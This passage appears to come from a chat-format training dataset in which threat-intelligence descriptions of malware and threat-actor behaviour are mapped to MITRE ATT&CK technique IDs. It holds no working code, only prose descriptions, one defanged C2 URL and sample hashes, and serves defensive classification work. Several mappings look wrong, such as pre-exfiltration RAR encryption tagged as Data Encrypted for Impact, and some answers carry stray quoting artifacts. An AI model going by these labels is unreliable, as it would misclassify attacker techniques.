                "content": "SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. SDBbot is composed of three pieces: an installer, a loader, and a RAT component"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used \"net use\" to identify and establish a network connection with a remote host."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used valid digital certificates from Sysprint AG to sign its  dropper."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Function and variable names are obfuscated. Strings are encrypted. Contain an encrypted .NET injector and one or more encrypted PE payloads. Take one argument that is the decryption key for the embedded .NET injector and PE payload(s). - Embedded .NET injector and payload(s) are encoded with Base64 and encrypted with Rijndael"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Collect information about each disk, including directory and file lists, disk names, total space, and remaining space"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious web shell activity as observed in the Cybereason solution. Commands executed via a modified version of the China Chopper web shell"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has used base64 to encode payloads."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can upload files to the victim’s machine and can download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses obfuscation in order to hide strings such as URL or User-Agent, the algorithm is based on bitwise (SUB 0x0F XOR 0x21), here is the decoded data:hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.phpMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)The downloaded third payload is obfuscated using the same technique"
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has sent spearphishing emails in an attempt to lure users to click on a malicious link."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is known to use RAR with passwords to encrypt data prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can disable Microsoft Office Protected View by changing Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POSHSPY appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 1 – The main code from the .NET wrapper, with the Shellcode array being created and executed in a new thread"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon’s first stage consists of a password-protected RARSFX executable embedded in the .rsrc section of its launcher. Once written to disk, the RARSFX is executed with CreateProcess by providing the decryption password in an argument, as follows"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NBTscan can be used to scan IP networks."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the system reboots, the file “AJWrDz.exe” executes, which in turn triggers the side-loading of the malicious (and fake) DLL file “dbghelp.dll”. This malicious DLL file injects itself to Windows Media Player process — wmplayer.exe, and reflectively loads the renamed jesus.dmp file, “AJWrDz.dmp"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one of these campaigns, Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest. It then packages stolen files into a password-protected RAR archive. The malware then uses WebDAV to upload the RAR archive to a Box account"
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility', 'T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has used \"procdump\" to dump the LSASS process memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a WMI event subscription to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Derusbi variants have been seen that use Registry persistence to proxy execution through regsvr32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has exfiltrated data over FTP separately from its primary C2 channel over DNS."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used batch scripts and the command-line interface for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShell: Microsoft scripting tool that was used to run commands to download payloads, traverse compromised networks, and carry out reconnaissance"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has changed extensions on files containing exfiltrated data to make them appear benign, and renamed a web shell instance to appear as a legitimate OWA page."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CoinTicker creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As with campaigns attributed to BlackEnergy group the attackers used spearphishing emails with Microsoft Excel documents attached that contain malicious macros as an initial infection vector. This time malicious documents don’t have any content with social engineering directing potential victims to click an Enable Content button. It seems that the attackers are depending on the victims to decide entirely on their own whether to click it or not"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot can Base64 encode its payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has used pyobfuscate, zlib compression, and base64 encoding for obfuscation. Machete has also used some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Agent Tesla has the ability to steal credentials from FTP clients and wireless profiles."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI had a feature to steal data from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators deploying Netwalker have used psexec and certutil to retrieve the Netwalker payload."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can upload files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then, it drops C:\\Users\\Public\\x.vbs. Then it drops, C:\\Users\\Public\\Natso.bat. Then, it executes `Natso.bat`, which is a \"fileless\" UAC bypass found by James Forshaw. If C:\\Windows\\Finex still doesn't exist (which means the UAC bypass failed), it will update the Nasto.bat and execute it using the code shown below. This is another UAC bypass technique based on fodhelper.exe. On our test machine, the last bypass was successful, and `C:\\Windows\\Finex` was successfully created. After that, the DLL deletes the dropped file and exits"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use signed loaders to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun can enumerate all running processes and process information on an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shark has the ability to use `CMD` to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used RAR to stage and compress local folders."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can gather victim internal and external IPs."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware cleans the system event logs using OpenEventLog/ClearEventLog APIs, and then terminates the setup procedure with a call to StartService to run the stage 4 malware"
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Whitefly usually attempts to remain within a targeted organization for long periods of time—often months—in order to steal large volumes of information. It keeps the compromise alive by deploying a number of tools that facilitate communication between the attackers and infected computers"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the `net accounts` command as part of their advanced reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hikit supports peer connections."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can retrieve IP addresses of compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has used the AD Explorer tool to enumerate groups on a victim's network."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The lures are primarily documents of interest to Pakistani nuclear organizations and the Pakistani military as can be seen in the images below:  Figure 1 Lure extracted from a67220bcf289af6a99a9760c05d197d09502c2119f62762f78523aa7cbc96ef1  Figure 2 Lure extracted from 07d5509988b1aa6f8d5203bc4b75e6d7be6acf5055831cc961a51d3e921f96bd  Figure 3 Lure extracted from b8abf94017b159f8c1f0746dca24b4eeaf7e27d2ffa83ca053a87deb7560a571  Figure 4 Lure extracted from d486ed118a425d902044fb7a84267e92b49169c24051ee9de41327ee5e6ac7c2 and fd8394b2ff9cd00380dc2b5a870e15183f1dc3bd82ca6ee58f055b44074c7fd4   The payload from each of the malicious documents is an updated version of the BADNEWS malware family"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution', 'T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT16 has compromised otherwise legitimate sites as staging servers for second-stage payloads."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used the Telegram Bot API from Telegram Messenger to send and receive commands to its Python backdoor. Sandworm Team also used legitimate M.E.Doc software update check requests for sending and receiving commands and hosted malicious payloads on putdrive.com."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Keydnap uses a Launch Agent to persist."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration BRONZE UNION has also leveraged various web shells to collect and stage data for exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged', 'T1505.003 - Server Software Component: Web Shell', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can delete itself from the compromised computer."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dark Caracal's version of Bandook adds a registry key to \"HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The QakBot payload has been disguised as a PNG file."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If NETEAGLE does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, NETEAGLE will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP and HTTPS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SynAck abuses NTFS transactions to launch and conceal malicious processes."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Psylo uses HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Out1 can copy files and Registry data from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can inject shellcode directly into Excel.exe or a specific process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This version of the campaign made malicious use of unins000.exe, a process that belongs to the Brazilian information security company GAS Tecnologia, to gather personal information undetected"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects data from the local victim system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy starts a rootkit from a malicious file dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Regin malware platform supports many standard protocols, including HTTP and HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This sample was delivered by a malicious document named “Interview with a north Korean defector”. The macro embedded inside unpacks and executes winload.exe"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If  does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number,  will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxysvc gathers product names from the Registry key: \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion ProductName\" and the processor description from the Registry key \"HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 ProcessorNameString\"."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can delete downloaded executables after running them."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to obtain a process listing."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches removable storage devices for files with a pre-defined list of file extensions (e.g. * .doc, *.ppt, *.xls, *.docx, *.pptx, *.xlsx). Any matching files are encrypted and written to a local user directory."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lastly, if the HTTP request is not successful, the downloader will fallback to using DNS tunneling to establish communications"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax has impersonated systems management software to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the extraction, a JSP webshell is deployed on one of the public directories used by the webmail component. The attacker can browse to the webshell to start executing arbitrary commands on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
